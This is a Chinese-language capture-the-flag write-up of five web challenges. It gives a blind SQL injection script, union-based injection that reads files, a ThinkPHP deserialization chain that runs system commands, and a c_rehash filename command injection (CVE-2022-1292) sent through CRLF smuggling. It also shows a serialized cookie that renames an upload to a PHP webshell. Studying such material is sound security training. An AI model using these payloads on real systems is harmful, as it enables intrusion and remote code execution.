[CISCN 2019华北Day2]Web1
测试发现过滤了union、and、or、空格等,包括/**/
输入1,2有不同回显,其他都返回bool(false)。
尝试bool盲注
空格的绕过有这些方法测试是可以的
%09
%0a
%0b
%0c
%0d
/**/
/*!*/
或者直接tab
%20
好像没法绕,%00
截断好像也影响sql语句的执行
使用空格绕过,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
1
| if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import requests url = "http://node4.anna.nssctf.cn:28457/index.php" payload = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)" result = '' for i in range(1,100): high = 127 low = 32 mid = (low+high) // 2 while(high>low): data = { "id": payload.format(i,mid) } response = requests.post(url, data=data) if 'Hello' in response.text: low = mid + 1 else: high = mid mid = (low + high) // 2 result += chr(mid) print(result)
|
[网鼎杯 2018]Fakebook
发现有robots.txt文件
访问robots.txt,然后发现有一个user.php.bak的备份文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
|
有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,
然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容,一个getBlogContents方法,返回一个url的内容
还有一个isValidBlog验证这是否是一个有效的blog地址,看大佬博客说,这段正则好像url中有.就可以匹配。
join注册一个账号
手工注入:
?no = 1 and 1=1 //回显正常
?no = 1 and 1=2 //错误回显
铁定数字型注入,于是我们看看表中有多少列,确定一下列数,
?no = 1 order by 3 //正常
?no = 1 order by 4 //正常
?no = 1 order by 5 //错误
所以确定列数,有4列
于是我们尝试union联合注入:
?no = -1 union select 1,2,3,4–+
过滤了union select
可以用过union/**/select绕过
于是我们再次构造payload:
?no = -1 union/**/select 1,2,3,4–+
回显位是username,然后还发现了一下错误信息,/var/www/html/view.php刚才扫目录得知flag.php也在这个目录中。
然后我们开始查数据库和数据库信息
?no=-1 union/**/select 1,database(),3,4–+ //数据库名
?no=-1 union/**/select 1,user(),3,4–+ //数据库信息
发现居然是root权限,那我们知道有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下
load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件
?no=-1 union/**/select 1,load_file(“/var/www/html/flag.php”),3,4–+
[CISCN 2022 初赛]ezpop
看到thinkphp版本,找链子直接打
www.zip 查看路由,是 Index/test,然后 post 传参 a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php
namespace think { // Model需要是抽象类 abstract class Model { // 需要用到的关键字 private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false;
public function __construct($obj='') { $this->lazySave = true; $this->data = ['whoami'=>['cat /nssctfflag']]; $this->exists = true; $this->table = $obj; $this->withAttr = ['whoami'=>['system']]; $this->json = ['whoami']; $this->jsonAssoc = true; } } }
namespace think\model { use think\Model; class Pivot extends Model { } $p = new Pivot(new Pivot()); echo urlencode(serialize($p)); }
|
[CISCN 2022 初赛]online_crt
涉及漏洞分析参考文章
CVE-2022-1292的分析 - 先知社区 (aliyun.com)
Flask路由部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| @app.route('/', methods=['GET', 'POST']) def index(): return render_template("index.html") @app.route('/getcrt', methods=['GET', 'POST']) def upload(): Country = request.form.get("Country", "CN") Province = request.form.get("Province", "a") City = request.form.get("City", "a") OrganizationalName = request.form.get("OrganizationalName", "a") CommonName = request.form.get("CommonName", "a") EmailAddress = request.form.get("EmailAddress", "a") return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress) @app.route('/createlink', methods=['GET']) def info(): json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()} return json.dumps(json_data) @app.route('/proxy', methods=['GET']) def proxy(): uri = request.form.get("uri", "/") client = socket.socket() client.connect(('localhost', 8887)) msg = f'''GET {uri} HTTP/1.1 Host: test_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ''' client.send(msg.encode()) data = client.recv(2048) client.close() return data.decode() app.run(host="0.0.0.0", port=8888)
|
Getcrt函数源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress): root_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, Country), x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province), x509.NameAttribute(NameOID.LOCALITY_NAME, City), x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName), x509.NameAttribute(NameOID.COMMON_NAME, CommonName), x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress), ]) root_cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( root_key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=3650) ).sign(root_key, hashes.SHA256(), default_backend()) crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt" with open(crt_name, "wb") as f: f.write(root_cert.public_bytes(serialization.Encoding.PEM)) return crt_name
|
Go Server源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package main import ( "github.com/gin-gonic/gin" "os" "strings" ) func admin(c *gin.Context) { staticPath := "/app/static/crt/" oldname := c.DefaultQuery("oldname", "") newname := c.DefaultQuery("newname", "") if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") { c.String(500, "error") return } if c.Request.URL.RawPath != "" && c.Request.Host == "admin" { err := os.Rename(staticPath+oldname, staticPath+newname) if err != nil { return } c.String(200, newname) return } c.String(200, "no") } func index(c *gin.Context) { c.String(200, "hello world") } func main() { router := gin.Default() router.GET("/", index) router.GET("/admin/rename", admin) if err := router.Run(":8887"); err != nil { panic(err) } }
|
通过访问 /getcrt
路由会去调用getcrt()
, 而getcrt()
会去生成一个crt证书
,createlink
路由调用c_rehash
,而c_rehash
存在命令执行漏洞,漏洞的成因大概为文件名可控,由于低版本openssl对于元字符的过滤不严谨,导致文件名中含有 “ ` “字符的话会导致文件名被当作命令执行。而访问路由proxy时候,用户可以自定义HTTP请求,从而导致CLRF结合CVE-2022-1292导致RCE。
Go源码中出现了有过滤函数
1
| if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
|
Bypass方法
将请求的 uri
参数第二个反斜杠进行URL编码,第二个要求 Host: admin
然后需要将内容写入文件中,直接去访问/static/crt/下的对应文件即可
数据包构造
uri内容编码 由于flask最后有段代码 return data.decode()
1 2 3 4 5 6 7
| import urllib.parse uri = '''/admin%2frename?oldname=9c022d27-7635-4ca3-ac5e-1b3eb6e79d18.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1 Host: admin ''' gopher = uri.replace("\n","\r\n") payload = urllib.parse.quote(gopher) print(payload)
|
1 2 3 4 5 6 7 8 9 10 11 12
| GET /proxy HTTP/1.1 Host: 1.14.71.254:28192 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 206
uri=/admin%252frename%3Foldname%3D9c022d27-7635-4ca3-ac5e-1b3eb6e79d18.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0A
|
最后访问createlink
触发代码
/static/crt/flag.txt
查看flag.txt
[强网杯 2019]upload
登陆注册,有上传功能
上传一张图片,发现被改后缀为png,而且可以看到路径和文件名都进行了重命名使用md5值
bp抓包发现cookie参数user
反序列化得到
目录扫描出一个www.tar.gz在网站根目录,打开发现是ThinkPHP5框架
审计中找到了 __destruct()
魔法函数
同时,在Index.php中,找到了身份验证的方法
Index.php
会对传入的内容进行base64解码,然后反序列化
发现了 Profile.php
中,有对文件重命名的操作
为了能正常的利用upload_img来进行copy操作,就得将if都过了
1 2 3 4 5 6 7
| if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } }
|
确保里面的内容不会被执行, checker
不赋值或者等于false就好了
1 2 3 4 5
| if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); }
|
两个文件名的参数都没有什么过滤,唯一的阻碍是 ext_check()
,他会判断你的后缀是否为png,没啥用
1 2 3 4 5 6 7 8 9 10 11 12
| if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); }
|
ext的值,需要为 True
1
| if(getimagesize($this->filename_tmp)) {
|
如何触发反序列化,在当前文件 Profile.php
中,我们发现了 __get
和 __call
这两个魔法函数
1 2
| 读取不可访问属性的值时,__get() 会被调用; 在对象中调用一个不可访问方法时,__call() 会被调用。
|
回到Register.php中看 __destruct()
的操作
checker会去 Index()
中调用 index()
(注意区分大小写)
如果我们将 $this->checker
覆盖为 类Profile()
但是因为 Profile()
中没有index(),所以会触发 __call()
魔法函数
进入该类之后,会调用一个不存在的对象,导致 __get()
的触发,所以我们需要在序列化的时候,将 except
赋值为
1
| public except = ['index' => 'img'];
|
就可以触发 upload_img
,达到改名的效果了
1
| __destruct()->__call()->__get()->upload_img
|
构造一个 Profile 和 Register 类,命名空间 app\web\controller(要不然反序列化会出错,不知道对象实例化的是哪个类)。然后给其 except 成员变量赋值 [‘index’ => ‘img’],代表要是访问 index 这个变量,就会返回 img。而后又给 img 赋值 upload_img,让这个对象被访问不存在的方法时最终调用 upload_img。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <?php
namespace app\web\controller; error_reporting(0); class Profile { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except;
public function __get($name) { return $this->except[$name]; }
public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } }
}
class Register { public $checker; public $registed;
public function __destruct() { if(!$this->registed){ $this->checker->index(); } }
}
$profile = new Profile(); $profile->except = ['index' => 'img']; $profile->img = "upload_img"; $profile->ext = "png"; $profile->filename_tmp = "./upload/76d9f00467e5ee6abc3ca60892ef304e/1905e3297318e07f689eeda3afb79dc7.png"; $profile->filename = "./upload/76d9f00467e5ee6abc3ca60892ef304e/1905e3297318e07f689eeda3afb79dc7.php";
$register = new Register(); $register->registed = false; $register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));
|
1
| TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjc4OiIuL3VwbG9hZC83NmQ5ZjAwNDY3ZTVlZTZhYmMzY2E2MDg5MmVmMzA0ZS8xOTA1ZTMyOTczMThlMDdmNjg5ZWVkYTNhZmI3OWRjNy5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzg6Ii4vdXBsb2FkLzc2ZDlmMDA0NjdlNWVlNmFiYzNjYTYwODkyZWYzMDRlLzE5MDVlMzI5NzMxOGUwN2Y2ODllZWRhM2FmYjc5ZGM3LnBocCI7czoxMToidXBsb2FkX21lbnUiO047czozOiJleHQiO3M6MzoicG5nIjtzOjM6ImltZyI7czoxMDoidXBsb2FkX2ltZyI7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czozOiJpbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D
|
放入cookie刷新几次,查看upload文件夹时就会发现文件名已经被更改了
蚁剑直接连